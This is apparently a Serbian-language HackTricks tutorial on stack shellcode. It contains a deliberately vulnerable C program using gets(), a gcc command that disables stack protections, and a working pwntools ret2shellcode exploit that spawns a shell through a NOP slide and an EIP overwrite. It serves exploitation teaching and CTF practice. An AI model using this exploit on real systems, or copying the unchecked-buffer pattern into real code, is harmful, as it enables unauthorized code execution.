# Stack Shellcode
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Osnovne informacije
**Stack shellcode** je tehnika korišćena u **binarnom eksploatisanju** gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
### C Primer: Ranjiv program
Započnimo sa jednostavnim primerom ranjivog C programa:
```c
#include
#include
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije.
### Kompilacija
Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Onemogućava zaštitu steka.
* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.
* `-no-pie`: Onemogućava izvršavanje nezavisnog od položaja izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.
* `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.
### Python Eksploatacija korišćenjem Pwntools
Evo kako biste mogli napisati eksploataciju u Pythonu koristeći **pwntools** za izvođenje **ret2shellcode** napada:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument `p32()` početnoj adresi vašeg bafera plus offset kako biste dospele do NOP slide-a.
## Zaštite
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
## Ostali Primeri & Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32-bit, ASLR sa leak-om adrese stack-a, upoređivanje za sprečavanje poziva exit(), prepisivanje promenljive sa vrednošću, pisanje shellcode-a i skakanje na njega